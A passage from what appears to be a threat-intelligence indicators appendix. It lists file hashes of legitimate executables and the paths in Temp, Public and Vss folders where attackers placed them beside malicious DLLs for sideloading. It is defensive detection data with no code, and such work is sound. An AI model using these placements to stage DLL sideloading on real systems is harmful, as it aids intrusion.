9F5F2F0FB0A7F5AA9F16B9A7B6DAD89F	GoogleDesktop.exe	GoogleServices.DLL
28CB7B261F4EB97E8A4B3B0D32F8DEF1	BDSubWiz.exe	log.dll
BAE82A15D1DBFB024617B9B56A8E5F66	VSTestVideoRecorder.exe	Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll

Paths to DLL sideloading files

Path to the file that loads the DLL	Path to the DLL being loaded
C:\Users\<user>\AppData\Local\Temp\BDS.exe	C:\Users\<user>\AppData\Local\Temp\log.dll
C:\Users\Public\BDS.exe	C:\Users\Public\log.dll
c:\users\public\bdsubwiz.exe	C:\Users\Public\log.dll
C:\Windows\Temp\BDS.exe	C:\Windows\Temp\log.dll
c:\windows\vss\bds.exe	C:\Windows\Vss\log.dll
c:\windows\temp\GoogleDesktop.exe	c:\windows\temp\GoogleServices.DLL
c:\windows\temp\VSTestVideoRecorder.exe	c:\windows\temp\Microsoft.VisualStudio.QualityTools.VideoRecorderEngine.dll